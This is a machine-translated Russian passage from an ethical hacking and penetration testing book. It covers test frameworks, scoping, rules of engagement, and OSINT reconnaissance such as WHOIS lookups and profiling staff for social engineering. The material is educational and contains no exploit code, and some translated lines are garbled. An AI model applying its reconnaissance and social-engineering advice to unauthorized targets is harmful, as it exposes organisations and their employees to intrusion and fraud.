Фактическое время доставки отчета согласовывается во время
первый этап, этап планирования.
Фреймворк тестирования на проникновение
www.vulnerabilityassessment.co.uk

https://translate.googleusercontent.com/translate_f 16/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. 23

Это еще один хороший ресурс для тестирования на проникновение и уязвимости.


оценка. Он предоставляет глубокие технические ноу-хау и инструменты для оценки
и проникновение в различные аспекты информационных технологий. Материал в
на их сайт ссылались некоторые крупные институты кибербезопасности. В
Фреймворк тестирования на проникновение охватывает следующие аспекты:

Сетевой след (разведка) : здесь


тестер на проникновение будет собирать общедоступную информацию
о цели с использованием пассивных и активных приемов. Пассивный
методы используют только браузер и, как правило, невидимы для
цель, в то время как активные методы могут отображаться в журналах аудита в
системы цели.
Открытие, исследование и перечисление : это включает в себя открытие
открывать порты, проверять типы операционных систем и перечислять
запущенные сетевые службы.
Взлом паролей : фреймворк предоставляет все инструменты
необходимо для взлома паролей разных типов.
Оценка уязвимости : здесь тестировщик пытается найти все
уязвимости, существующие в различных системах, которые были
обнаружено на предыдущих этапах. Уязвимости слабые
точки в системах, которые могут позволить хакеру получить доступ или
нанести определенный ущерб. Фреймворк предоставляет инструменты и
методы сканирования и анализа уязвимостей.
Аудит AS / 400 : AS / 400 - это сервер IBM с работающим
система называется OS / 400. Фреймворк для тестирования на проникновение имеет
специальный раздел для аудита и оценки серверов данного типа.
Второй касается важных открытых портов и уязвимостей.
которые существуют в AS / 400.
Специализированное тестирование Bluetooth : этот раздел платформы охватывает
инструменты для оценки и аудита Bluetooth.
Специализированное для Cisco тестирование : в этом разделе описана процедура для полной
оценка устройств Cisco. Он охватывает методологию и инструменты
обнаруживать устройства Cisco, взламывать их пароли, получать удаленные
получить доступ и использовать распространенные уязвимости.

Стр. 24

Специализированное тестирование Citrix: системы Citrix предназначены для обеспечения


сотрудников с удаленным доступом к некоторым системам локального
организация. Во фреймворке есть специальный раздел с инструментами.
и методы для перечисления, сканирования, оценки и использования Citrix
системы.
Network Backbone : это небольшой раздел, охватывающий некоторые сети.
такие инструменты, как анализаторы пакетов, снифферы, инструменты перехвата трафика и
инструменты спуфинга.

https://translate.googleusercontent.com/translate_f 17/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Проникновение : в этом разделе рассматриваются необходимые инструменты и методы.
выполнить этап эксплуатации. Эксплуатация - это процесс
использование уязвимостей, чтобы получить доступ или вызвать
отказ в обслуживании (DoS). Основные инструменты, описанные в этом разделе
являются Metasploit, Core Impact, Cisco Global Exploiter и
ХОЛСТ.
Специфичный для сервера тест : в этом разделе фреймворк
шаги для оценки четырех типов серверов: баз данных, почтовых серверов, веб-
серверы и серверы VPN. Для каждого вида он снабдит вас
инструменты и методы для обнаружения, перечисления, сканирования и проникновения
система.
Безопасность VoIP : это тяжелый раздел, полный инструментов для выполнения
следующие действия против протокола и систем VoIP: сниффинг,
сканирование и перечисление, создание пакетов и лавинная рассылка, фаззинг,
сигнальные манипуляции, манипуляции со СМИ и другие.
Беспроводное проникновение : этот раздел посвящен оценке беспроводного
сети (WLAN). Он предоставляет вам методы и инструменты для
открыть для себя беспроводные сети, получить подробные сведения об их
спецификации, взломать их пароли и т. д.
Физическая безопасность : в этом разделе приведено пошаговое
план действий по оценке физической безопасности целевой организации.
Оценка проводится в отношении конференц-залов, вестибюля, общего
площадь, общие комнаты, окна, забор, входные двери и все входы
точки.

Руководство по тестированию Open Web Application Security Project (OWASP)


www.owasp.org/index.php/Main_Page

Стр.25

В отличие от предыдущих стандартов, которые больше предназначены для проникновения в сеть.


testing, этот специально разработан для тестирования веб-приложений . Даже
хотя эта книга посвящена тестированию проникновения в сеть, последняя глава,
однако вкратце рассматривается тестирование Webapp. И поэтому стоит упомянуть
здесь лучший международный стандарт - OWASP Testing Guide - для
делая такой тест.
Согласно его веб-сайту, «цель проекта - помочь людям понять
что, почему, когда, где и как тестировать веб-приложения ». Гид
обсуждает следующие этапы:

Сбор информации : на этом этапе собирается информация о


целевой веб-сервер и приложение. Это включает в себя снятие отпечатков пальцев
удаленный сервер, перечисление запущенных приложений, просмотр
комментарии и метаданные, определяющие точки входа и т. д.
Тестирование управления конфигурацией и развертыванием : этот этап
подчеркивает, что тестирование самой хостинговой платформы небезопасно
платформа может легко повлиять на общую безопасность сети
заявление.
Тестирование управления идентификацией: управление идентификацией включает
разные учетные записи пользователей и их роли. И этот этап включает в себя
тестирование процесса регистрации пользователя, а также перечисление
Зарегистрированные пользователи.

https://translate.googleusercontent.com/translate_f 18/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Проверка подлинности : проверка подлинности - это процесс проверки
цифровую идентификацию пользователя, чтобы разрешить или запретить доступ к
вся система. Самый распространенный способ аутентификации - через
использование паролей. Этот этап включает в себя проверку того, насколько безопасен
процесс аутентификации.
Проверка авторизации: авторизация - это процесс проверки
привилегии аутентифицированного пользователя для предоставления доступа к
конкретный ресурс; это происходит после успешной аутентификации. Этот
фазовые тесты на возможность повышения или обхода привилегий
правила авторизации.
Тестирование управления сеансом : Управление сеансом - это
механизм, с помощью которого [веб-приложение] контролирует и поддерживает
состояние для пользователя, взаимодействующего с ним ». На этом этапе проверяется сила

Стр. 26

управление сеансом, и можно ли его легко сломать или


обошли.
Тестирование проверки ввода : отсутствие надлежащей проверки ввода является
причина большинства атак на веб-приложения. Веб-приложение должно четко
проверить любой внешний ввод, полученный от пользователя. Эта фаза
тест проверяет, насколько сильна реализация ввода
проверка в веб-приложении.
Тестирование обработки ошибок : на этом этапе проверяется, как веб-приложение
ведет себя при возникновении ошибки. Неправильная обработка ошибок может
привести к атакам типа «отказ в обслуживании» (DoS).
Тестирование на слабую криптографию : важно, чтобы Интернет
приложение использует новейшие алгоритмы безопасной криптографии. С использованием
старые, устаревшие или нестандартные алгоритмы могут привести к
компромисс. Фаза здесь проверяет все виды криптографии.
такие алгоритмы, как симметричное шифрование, асимметричное шифрование,
цифровые сертификаты, алгоритмы хеширования и т. д.
Тестирование бизнес-логики: бизнес-логика - это актуальная пошаговая инструкция.
порядок выполнения определенной бизнес-операции. Тестирование
бизнес-логика включает в себя попытку нарушить фактическую последовательность
действия, запрограммированные оригинальными разработчиками.
Клиентское тестирование : на этом последнем этапе проверяется, действительно ли
webapp может использоваться хакером не для атаки на сам сервер, а для
клиенты, которые к нему подключаются. Другими словами, на этом этапе проверяется
возможность выполнять код в браузере пользователя.

https://translate.googleusercontent.com/translate_f 19/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. 27

Модуль 02 Подготовка к вступлению в бой.


Перед тем, как начать тест на проникновение, вы, как профессиональный этический хакер, должны
должен находиться вместе с вашей целевой организацией в лице ИТ-менеджера,
директор по информационным технологиям, специалист по информационной безопасности или любое лицо, име
техническая подготовка, утвержденная исполнительным руководством.
В зависимости от размера организации вам может потребоваться встретиться с командой
люди вместо одного человека. Успешного теста на проникновение не будет.
возможно, если вы и ваша цель не смогли договориться и указать определенные
условия и правила. Соглашения защитят вас юридически и гарантируют
ваш точный платеж. Соглашения также обеспечат вашу цель
профессионализм и чего ожидать от теста.
Этот начальный этап может быть проведен за одно или несколько встреч, в зависимости от размера.
вашей целевой организации и работы, которую предстоит проделать. Но во всех случаях
подготовительная работа должна включать в себя следующие предметы:

Определение объема теста с помощью всестороннего


анкета.
Определение критериев успеха , т. Е. Согласование того, что составляет
успешное проникновение или взлом.
Уточнение правил участия , то есть этики теста.
Подписание письменного разрешения - клиентом - и Не-
Соглашение о раскрытии информации (NDA) - тестировщиком .

Объем и анкета
Объем определяет, что тестировать, когда тестировать, где тестировать и как тестировать.
Тестировщик на проникновение не должен участвовать в тестировании без четко определенной области.
Согласование четко определенной области - самый важный шаг на
начало теста. Со стороны тестировщика вы будете участвовать в тестировании
точно зная, что вы собираетесь оценивать, в какое конкретное время и
откуда. Вы будете защищены законом до тех пор, пока это не сделает ваш тест.
не пересекать границы области применения. Со стороны клиента они будут знать
за что они будут платить в финансовом отношении; это предотвратит перезарядку.
Объем должен быть определен и обсужден на встрече между
тестировщик и клиент. И он должен охватывать следующие аспекты:

Стр.28

Какие системы, IP-адреса, порты или приложения будут


проверено.
Откуда тестировщик собирается запускать свой тест. Другими словами,
необходимо указать местоположение (а) или IP-адреса тестера.
Когда тестировщик собирается проводить свой тест. Даты и время
необходимо указать.
Типы тестов, которые будут проводиться, например,
https://translate.googleusercontent.com/translate_f 20/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
оценка уязвимости, социальная инженерия, физическая безопасность
оценка, отказ в обслуживании (DoS), черный или белый ящик и т. д.
Лучший способ определить объем - задать набор вопросов, анкету,
которые вы представляете целевой организации и просите их предоставить вам
подробные ответы. Из их ответов вы можете понять их мотивацию
пройти тест на проникновение, что они хотят проверить, и какой тест они
хотел бы получить. Ниже приводится набор наиболее важных вопросов.
которые вы должны подарить каждому клиенту. Эти вопросы взяты из
методика ПТЭС:

Стр.29

https://translate.googleusercontent.com/translate_f 21/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Критерий успеха
Одна из ваших ролей тестера на проникновение на начальном этапе - объяснять
клиенту, что термин «взлом» имеет общий смысл, и измеряет
успешный «взлом» всегда зависит от бизнес-контекста
цель. Часто клиент хочет знать, работает ли его инфраструктура

Стр.30

«Взломанный» или «безопасный». Но что представляет собой успешный взлом ? Один клиент
может считать отказ в обслуживании (DoS) на несколько часов успешным взломом,
в то время как другого может вообще не беспокоить такой инцидент. Вот почему это
важно понимать, чего ожидает клиент от теста, и как
они просматривают случаи взлома.
Rapid7, крупная консалтинговая компания по вопросам безопасности, разработала модель для
определить и разработать критерии успеха; они назвали свою модель умнее ,
что является аббревиатурой от « Конкретный , измеримый , достижимый , релевантный» , « Время».
связаны , оценивать и переоценивать . Ниже приведены описания и
примеры для модели SMARTER:

1. Конкретный : каждый критерий должен относиться к конкретному действию. Например,


клиент считается взломанным, если тестировщик может получить доступ к
Маршрутизатор Cisco.
2. Измеримый : критерий должен каким-то образом измеряться. Для
Например, тестировщик должен получить доступ к маршрутизатору Cisco и получить
файл конфигурации, чтобы считать проникновение успешным.
Другими словами, каждое успешное проникновение может быть доказано некоторыми
свидетельство.
3. Достижимый : акт проникновения должен быть практичным и применимым,
не то, что невозможно. Например, тестировщик должен получить
доступ к маршрутизатору Cisco при наличии маршрутизатора Cisco
онлайн.
4. Актуальность : критерий должен иметь отношение к деятельности компании.
клиент. Например, тестер должен получить доступ к маршрутизатору Cisco, который в
так или иначе влияет на бизнес клиента. Другими словами, должно быть
реальный риск от любого успешного проникновения.
5. Ограничение по времени : каждый критерий должен предусматривать ограничение по времени для дост
конкретная цель проникновения. Например, тестировщик должен получить доступ
к маршрутизатору Cisco в течение 48 часов. Если он это сделает, проникновение будет
успешный. В противном случае неудачно.
6. Оценить : это действие с ограничением по времени; тестировщик и цель
команда должна обсудить статус системы после определенного периода
время. Например, через 3 дня команда обсудит,
Маршрутизатор Cisco взломан или нет.
7. Reevaluate : это действие, привязанное к событию; тестировщик и
https://translate.googleusercontent.com/translate_f 22/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
команда цели обсудит статус системы после

Стр.31

успешно достигнув цели. Например, если маршрутизатор Cisco


успешно взломан, команда обсудит, как это было взломано и
какие действия были предприняты для достижения цели.
Ниже приведены примеры хорошо сформулированных критериев успеха:

Я. База данных Oracle, которая используется в качестве внутреннего сервера в сети.


доступ к приложению осуществляется с правами обычного пользователя в пределах
продолжительность 1 нед. По крайней мере, одна таблица должна быть извлечена как
свидетельство проникновения. Эта БД содержит критически важные для бизнеса
данные. Команда обсудит статус через 5 дней после
помолвка. Позже, после того, как цель будет достигнута, команда
обсудить статус еще раз.
II. Любая исполняемая программа должна выполняться удаленно на одном из
ПК менеджеров в течении 3х дней. В качестве доказательства проникновения новый
файл должен быть создан на диске C. ПК менеджера принадлежит
компании и имеет жизненно важную информацию. Команда обсудит
статус через 2 дня, и позже, повторно обсудите статус после того, как цель
завершенный.
III. Предварительно общий ключ WPA2 локальной WLAN должен быть взломан.
в течении 5 дней. Требуемый восстановленный ключ необходимо сравнить с
исходный принадлежит администратору. Эта локальная WLAN
часть сети организации и имеет доступ к локальным
Ресурсы. Команда обсудит статус через 2 дня и позже.
после того, как цель будет достигнута.

Правила участия
OSSTMM предоставляет около 40 правил взаимодействия. Некоторые из самых
важные из них:

A. Продажи и маркетинг :
Использование страха, неуверенности, сомнений и обмана не может быть использовано в продажах.
или маркетинговые презентации, веб-сайты, вспомогательные материалы, отчеты или
обсуждение тестирования безопасности с целью продажи или обеспечения безопасности
тесты. Это включает, но не ограничивается указанием преступлений, фактов, прославленных
профили преступников или хакеров, а также статистика для мотивации продаж.
Предложение бесплатных услуг за невозможность проникновения в цель запрещено.
Открытые конкурсы по взлому, взлому и вторжению в целях обеспечения безопасности
для продажи или
маркетинг продуктов для тестирования безопасности или безопасности запрещен.

Стр.32

Б. Выполнение оценки / сметы :


Выполнение тестов безопасности в любой области без явного письменного
разрешение от целевого владельца или соответствующего органа строго
запрещенный.
C. Контракты и переговоры :
С или без контракта о неразглашении информации, аналитик безопасности

https://translate.googleusercontent.com/translate_f 23/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
требуется
информациядляиобеспечения конфиденциальности и неразглашения информации о клиенте
результаты испытаний.
Контракты должны четко объяснять пределы и опасности проверки безопасности, поскольку
часть технического задания.
В случае удаленного тестирования в контракте должно быть указано происхождение
Аналитики по адресу, номеру телефона или IP-адресу.
Клиент должен предоставить подписанное заявление, в котором проводится тестирование.
разрешение, освобождающее Аналитиков от посягательства в пределах области, и
возмещает ответственность за счет стоимости аудиторских услуг, за исключением случаев, когда
доказана вредоносная активность.
В контрактах должны быть указаны имена и номера телефонов для связи в экстренных случаях.
D. Определение объема :
Объем должен быть четко определен в контракте, прежде чем проверять уязвимость.
Сервисы.
E. План тестирования :
План тестирования не может содержать планы, процессы, методы или процедуры.
которые выходят за рамки области знаний или уровня компетенции Аналитика.
F. Процесс тестирования :
Аналитик всегда должен действовать в соответствии с законом места (мест).
целей в дополнение к правилам или законам, регулирующим тестирование аналитика
место нахождения.
Если необходимо для привилегированного тестирования, клиент должен предоставить два отдельных
токены доступа, будь то пароли, сертификаты, безопасные идентификационные номера,
значки и т. д., и они должны быть типичными для пользователей с привилегиями,
проверенные, а не особенно пустые или безопасные доступы.
Если тестирование включает известные привилегии, аналитик должен сначала протестировать без
привилегии (например, в среде черного ящика) перед повторным тестированием с
привилегии.
Аналитики должны знать свои инструменты, откуда они взялись,
как работают инструменты, и протестируйте их в ограниченной тестовой зоне, прежде чем
с помощью инструментов организации-клиента.
Проверенные ограничения, такие как обнаруженные нарушения, уязвимости с
известные или высокие уровни эксплуатации, уязвимости, которые можно использовать для
полный, неконтролируемый или неотслеживаемый доступ, или который может немедленно
об опасности для жизни, обнаруженной во время тестирования, необходимо сообщить заказчику
практическим решением, как только они будут найдены.
Аналитик не может оставлять прицел в состоянии менее реальной безопасности.
чем было, когда это было предусмотрено.

Стр. 33

Модуль 03 Сбор разведданных.


Будучи оскорбительным по своей природе, взлом - этичный или неэтичный - напоминает
война. Вступление в войну не может быть случайным, просто хаотическим
стрельба из пистолета или бомбардировка. Он должен быть стратегическим и систематическим. Каждый ход име
быть хорошо рассчитанным и хорошо выполненным для достижения желаемого результата. Таким образом,
первый шаг в любой военной операции должен быть надлежащим завершением
понимание цели. И это понимание приходит через
процесс сбора разведданных.
Сбор разведданных - это сбор, казалось бы, безобидной информации.
о цели, информация, которая может быть общедоступной или секретной
исследуемая информация, которая также могла быть намеренно или случайно
выявлено или просочилось. Тем не менее, в надежных руках такая информация может быть
имеет большое значение для планирования, планирования и проведения нападения.
Сбор разведданных также называют «разведкой» или «следами».
Оба эти термина могут использоваться взаимозаменяемо для обозначения интеллекта.
Встреча. В данном руководстве мы будем придерживаться термина «интеллект.
встреча." Но учтите, что вам часто попадаются книги,

https://translate.googleusercontent.com/translate_f 24/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
документы илиозначают
След. Все они онлайн-руководства,
одно и то же.которые называют эту фазу просто разведкой или
Цель этапа сбора разведданных - получить подробную картину
о цели, чтобы вы могли построить свой план атаки. Собравшиеся
информация раскроет закономерности о людях, цифровых системах и / или
физическое расположение, здания и оборудование целевой организации.
Имейте в виду, что многие организации не понимают, как общественность
информация, которую они раскрывают о себе, может быть использована хакером. Также,
многие сотрудники не обращают внимания на личную информацию, которую они
разглашают в Интернете, и они не знают, как эта информация может быть использована
хакеры, чтобы навредить им.
Типы сбора разведданных
Есть два основных типа сбора разведданных:

1. Сбор пассивного интеллекта : это процесс получения


информация о цели посредством « пассивного » наблюдения.
То есть хакер не инициирует прямой контакт с

Стр. 34

целевая организация. Это можно сделать с помощью онлайн-поиска


движки (Google, Pipl, Robtex и т. д.), общественные форумы, социальные
СМИ и т. д. Этот вид сбора разведданных не оставляет
следы хакера в целевой организации. Другими словами,
организация не может определить, что кто-то собирается
информация о них.
2. Активный сбор информации : это процесс исследования
цель определенным образом вызвать ответы, раскрывающие желаемый
Информация. Здесь хакер инициирует контактные соединения с
целевая организация (системы или люди). Это можно сделать
через запросы DNS-серверов, захват баннера службы,
отправка специальных писем для изучения ответов, звонков определенным
отдельных лиц и т. д. При активном сборе разведданных наблюдаются следы
- который может быть зарегистрирован - оставлен на цели. Эти следы могут быть
проанализированы и выявить наличие подозрительного действия.

Типы собираемой информации


Информацию, которую нам нужно собрать на этом этапе, можно классифицировать.
в следующие категории:

а. Физическая информация : этот тип информации относится к любому


нечеловеческие физические аспекты целевой организации. Это
включает такие вещи, как физический адрес - географический
местонахождение - любого офиса или филиала, входящего в сферу охвата. В
Кроме того, сюда входят типы стен, заборов, окон, дверей,
камеры, аварийная ситуация и т. д., которые являются частью организации
физическая структура. Физическая информация помогает хакеру - или
тестер на проникновение - при любом физическом вторжении, когда
пытаясь обойти охранников или системы доступа.
б. Личная информация : этот тип информации относится к любому
лицо, которое является частью - или несет ответственность за определенные аспекты -
целевая организация. Эти люди могут включать руководителей
менеджеры, младшие сотрудники, охранники, подрядчики,
деловые партнеры и т. д. Необходимая здесь информация включает
https://translate.googleusercontent.com/translate_f 25/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
имена, номера телефонов, адреса электронной почты, должности и должности,
и т.д. Это может даже включать информацию об их личной жизни,

Стр. 35

семья, аккаунты в социальных сетях, личности и т. д. Этот тип


информация помогает хакеру или тестировщику во время общения в социальных сетях.
инженерные попытки.
c. Деловая информация : информация в этой категории
связанные с тем, как работает бизнес; он может включать информацию
о продуктах или услугах, маркетинговых стратегиях,
конкуренты, клиенты, вакансии, финансы, акции,
приобретения, деловые отношения, благотворительность и т. д.
тип информации может сильно помочь во время социальной инженерии
атаки, физические атаки, а также цифровые атаки.
d. Техническая информация : это тип информации, которая
большинство ИТ-специалистов думают об интеллекте
встреча. Это связано с системами, сетями, приложениями,
станции, серверы и т. д., составляющие всю ИТ-инфраструктуру
целевая организация. Информация здесь включает веб-сайты,
доменные имена, IP-адреса, номера портов, операционные системы,
платформы, прошивки, услуги, поставщики оборудования, онлайн-порталы,
и т. д. Этот тип информации помогает хакерам во время
фаза эксплуатации. Большинство начинающих тестировщиков ошибочно сосредотачиваются на
эта категория исключена из других. Однако даже
хотя эта категория информации очень важна, вы
не следует в первую очередь сосредотачиваться на нем и пренебрегать другими предыдущими
категории.

Уровни сбора разведданных


Глубина информации, которую вы соберете, и время, которое вы потратите.
расходы на этом этапе зависят от вашей конечной цели, которая сама зависит от
желаемый результат, которого хочет достичь ваш клиент. Иногда вам может понадобиться только
искать основную информацию для проведения базового стандартного теста на проникновение. Пока что,
во время деликатных операций вам может потребоваться потратить больше времени, копать
гораздо глубже и собрать подробную информацию о вашей цели, чтобы
проводить расширенные тесты на проникновение. Первый тип больше подходит для
клиенты, которые должны соответствовать каким-либо требованиям или правилам, в то время как
последний больше подходит для государственного или правительственного проникновения.
тесты. Согласно PTES, существует три уровня сбора разведданных:
1. Сбор информации уровня 1 : когда ваш клиент (цель) спрашивает

Стр.36

вы должны выполнить тест на проникновение, чтобы они соответствовали


с некоторыми формами регулирования этот уровень является наиболее подходящим.
Правила могут быть национальными, региональными или международными, например,

https://translate.googleusercontent.com/translate_f 26/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
PCI-DSS (Индустрия платежных карт - Стандарт безопасности данных),
FISMA (Федеральный закон об управлении информационной безопасностью), ISO
27001, HIPAA (Переносимость и подотчетность медицинского страхования
Act) и т. Д. Требуется минимум времени и усилий для выполнения
по сравнению с другими уровнями. Информация, которую вы здесь собираете, будет
быть минимальным, но достаточным для проведения успешного стандарта
тест на проникновение. Кроме того, вы должны быть в состоянии достичь этого уровня
используя различные автоматизированные инструменты, такие как Maltego, которые мы будем
позже в этой главе.
2. Уровень 2 сбора интеллекта : этот уровень требуется, когда вы
клиент хочет выйти за рамки простого соблюдения нормативных требований. Они
может быть заинтересован в применении информационной безопасности отраслевого уровня
передовой практики, и они озабочены своим долгосрочным
политика информационной безопасности. И они готовы платить больше за
пройти более глубокий и тщательный тест на проникновение. В этом сценарии вы
потратит больше времени на ручной анализ собранной информации
через автоматизированные инструменты. Этот дополнительный ручной анализ будет
дать вам лучшее понимание бизнеса вашего
клиент.
3. Уровень 3 сбора интеллекта : этот уровень обычно требуется
спонсируемые государством (правительственные) операции, например, когда одна страна
хочет вести кибервойну против другого. Если ты
поставленной перед такой операцией, ваша атака должна быть настолько глубокой и
как можно полнее. Для сбора информации на этом уровне необходимо получить
Информация уровня 1 и уровня 2 в первую очередь; тогда вам нужно провести
тяжелый анализ. Это может потребовать развития отношений в социальных сетях.
СМИ с фальшивыми личностями, проанализируйте психологию своего
таргетировать людей с помощью анализа почерка, анализа текста, тела
языковой анализ, анализ мимики и т. д. Такие глубокие
информация может очень помочь на этапе взлома пароля,
фишинговые атаки, установка бэкдоров и т. д.

Практические методы

Стр. 37

Нам нужен структурированный поэтапный подход к сбору разведданных.


Хотя есть некоторые автоматизированные инструменты, которые выполняют широкий спектр
методы сбора информации, здесь мы рассмотрим ручные шаги, чтобы
выполняется до автоматизированных инструментов. Так не только ты будешь
понимать механизмы, лежащие в основе автоматизированных инструментов, но вы также будете
возможность выполнять каждую технику вручную, когда вам нужно. Практическая
техники, в которой вы должны быть искусны, и которые вы собираетесь применять во время
ваша помолвка, заключаются в следующем:

Ручной анализ веб-сайта.


Доступ к информации WHOIS.
Обнаружение записей DNS.
Использование шести основных публичных систем:
Google.
Шодан.
Netcraft.
Робтекс.
Пипл.
https://translate.googleusercontent.com/translate_f 27/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
BuiltWith.
Использование Maltego - универсального автоматизированного средства разведки.
Остальная часть этой главы посвящена более глубокому объяснению этих
практические приемы.
Ручной анализ веб-сайта
Когда вы начинаете свой проект этического взлома против целевой организации,
Первое, на что нужно пойти - это их веб-сайт. На сайте много информации
о вашей цели. Информация там не является конфиденциальной; однако они
дать вам представление об их культуре и образе мышления в дополнение к
множество точек входа - физических и / или цифровых. При анализе вашей цели
веб-сайт, обязательно выполните следующие действия:
1. Полностью изучите веб-сайт своей цели; просматривать каждую страницу и
раздел; получить представление об их культуре и образе мышления; понимать
их продукты и / или услуги; и разбираться в их делах.
2. Запишите имя каждого контакта, номер телефона и адрес электронной почты.
найти; они важны позже для выполнения трюков социальной инженерии;
сохраните специальный файл для такой информации.
3. Обратите внимание на местонахождение и филиалы организации; жизненно важно

Стр. 38

знать физическое местоположение вашей цели. Это может помочь вам позже
чтобы нарушить их физическую безопасность или обнюхать их беспроводные сети
вне периметра.
4. Найдите все деловые связи и партнеров. На протяжении всего вашего анализа
убедитесь, что вы заметили все другие организации и компании, которые
ваша цель имеет дело с.
5. Поищите новости в Интернете, чтобы найти последние новости о вашем
организация; вы должны быть в курсе их последних приобретений,
слияния, дочерние компании и т. д.
6. Запишите ссылки, которые у них есть на другие связанные сайты. Ваша цель
веб-сайт может содержать гиперссылки на другие предприятия; это важно
принять к сведению это, поскольку другие сайты могут также раскрыть больше
информация о вашей цели.

Доступ к информации WHOIS


WHOIS - это один из протоколов TCP / IP, который работает в Интернете. Его основная
функция заключается в предоставлении информации о владельцах доменных имен (например,
semurity.com), IP-адреса (например, 170.10.163.106) и автономные системы
(например, AS32748). Это протокол на основе TCP клиент-сервер, использующий порт 43 для
его общение. Это также текстовый протокол; это означает, что данные отправляются
в формате ASCII (читается на английском языке).
Сервер WHOIS - это база данных, в которой хранится информация о зарегистрированных
собственники. Клиент - это может быть простой инструмент командной строки - связывается с
сервер и запрашивает информацию об определенном интернет-ресурсе - например, IP
адрес или доменное имя. Сервер отвечает такой информацией. это
здесь важно отметить, что протокол WHOIS не предоставляет никаких
механизм безопасности. Информация отправляется открытым текстом, нет
проверка подлинности или целостности.
Базы данных WHOIS, с которыми мы собираемся связаться для сбора информации:
глобальные серверы, хранящие информацию об Интернет-доменах. И в
чтобы понять это, нам нужно понять процесс регистрации нового
домен. Например, допустим, мы хотим создать доменное имя
https://translate.googleusercontent.com/translate_f 28/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
semurity.com . Ниже приведены три ключевых игрока в регистрации.
процесс:

1. Регистрант : это будет физическое или юридическое лицо, которое

Стр. 39

хотите купить и зарегистрировать домен. В нашем примере это


основатель SEMURITY Academy. Регистрант становится
владелец домена после завершения процесса покупки. А также
процесс регистрации требует, чтобы потенциальный владелец представил
различная информация о себе, например имя,
физический адрес, адрес электронной почты, номер телефона и т. д.
2. Регистратор : это организация, которую регистрант пойдет для регистрации.
домен. Чаще всего регистратором выступает коммерческая организация.
отвечает за продажу доменов регистрантам. Регистраторы могут иметь
физические офисы или просто интернет-сайты. Но в обоих случаях
регистратор должен быть аккредитован вышестоящей организацией, называемой реестром ,
и он должен соответствовать стандартам и правилам, изложенным в этом
реестр. Примеры онлайн-регистраторов: GoDaddy.com,
Name.com, Namecheap.com, Bluehost.com, HostGator.com и т. Д.
В случае semurity.com регистратором (по состоянию на 2018 год) является Интернет.
Доменная служба BS Corp (www.internetbs.net).
3. Реестр : это организация, отвечающая за верхний уровень.
Домены (TLD), такие как .com, .org, .net, .edu и т. Д., А также для
домены второго уровня, которые входят в состав TLD, например,
semurity.com, microsoft.com, google.com и т. д. Таким образом,
информация, которую регистрант предоставил регистратору, является
в конечном итоге хранится в одном из реестров. Помимо домена
информации, реестры также хранят информацию о различных
сегменты IP-адресного пространства и автономные системы. Все
реестров ICANN (Интернет
Корпорация присвоения имен и номеров). В нашем примере
домен semurity.com , он находится в ведении
Verisign GRS (Global Registry Services), который управляет всеми
домены под .com TLD.

Региональные интернет-реестры (RIR)


RIR является филиалом ICANN и отвечает за назначение IP-адресов.
по крайней мере на одном континенте. Сейчас существует пять RIR, и они как
следует:

1. Африканский сетевой информационный центр (AFRINIC)


Ответственный за Африку.

Стр. 40

Штаб-квартира: Маврикий.

https://translate.googleusercontent.com/translate_f 29/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Веб-сайт: https://www.afrinic.net
Кто Интернет Интерфейс:
https://www.afrinic.net/services/whois-query
Сервер Whois: whois.afrinic.net
2. Американский реестр интернет-номеров (ARIN)
В основном отвечает за Северную Америку.
Штаб-квартира: США
Веб-сайт: https://www.arin.net/
Веб-интерфейс Whois: https://whois.arin.net/ui/
Сервер Whois: whois.arin.net
3. Азиатско-тихоокеанский сетевой информационный центр (APNIC)
Отвечает за большую часть Азии - в основном Восточную Азию,
Южная Азия и Юго-Восточная Азия - и для Океании.
Штаб-квартира: Австралия
Веб-сайт: https://www.apnic.net/
Кто Интернет Интерфейс:
http://wq.apnic.net/static/search.html
Сервер Whois: whois.apnic.net
4. Сетевой информационный центр Латинской Америки и Карибского бассейна
(ЛАКНИК)
Отвечает за Латинскую Америку и Карибский бассейн.
Штаб-квартира: Уругвай.
Веб-сайт: https://www.lacnic.net/
Веб-интерфейс Whois: https://rdap-web.lacnic.net
Сервер Whois: whois.lacnic.net
5. Координационный центр сети Réseaux IP Européens (RIPE
NCC)
Отвечает за Европу, Россию, Среднюю Азию и Запад
Азия.
Штаб-квартира: Нидерланды
Веб-сайт: https://www.ripe.net/
Веб-интерфейс Whois: https://apps.db.ripe.net/db-web-
ui / # / query
Сервер Whois: whois.ripe.net

Стр. 41

Автор изображения: RIPE NCC


Реестры доменов
Реестр домена - это база данных всей информации, относящейся к верхнему уровню

https://translate.googleusercontent.com/translate_f 30/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
домены, а такжекоторым
о регистрантах, домены второго уровня.эти
принадлежали Информация включает
домены второго данные
уровня. В отличие от RIR,
которые содержат информацию в основном о назначении IP-адреса, домене
реестры в основном занимаются информацией о доменах. Таким образом, информация
о semurity.com может храниться в реестре (реестре домена), который
отличается от реестра (RIR), содержащего информацию об IP-адресе
170.10.163.106, который является IP-адресом веб-сервера, связанного с
semurity.com.
Ниже приведены два наиболее важных реестра доменов:

1. Глобальные службы реестра Verisign (Verisign GRS)


Часть Verisign, Inc.
Отвечает за .com, .net и другие TLD.
Сервер Whois: whois.verisign-grs.com
2. Реестр общественных интересов (PIR)
Несет ответственность исключительно за домен верхнего уровня .org .
Веб-сайт: http://pir.org/
Веб-интерфейс Whois: https://pir.org/whois/
Сервер Whois: whois.pir.org

Инструмент командной строки WHOIS

Стр. 42

Один из способов получить информацию WHOIS о доменах - использовать Linux


Инструмент командной строки whois. Инструмент whois связывается с сервером WHOIS и
запрашивает его из информации о предоставленном доменном имени. Инструмент имеет
большой список различных серверов WHOIS, и он пытается выбрать наиболее подходящий
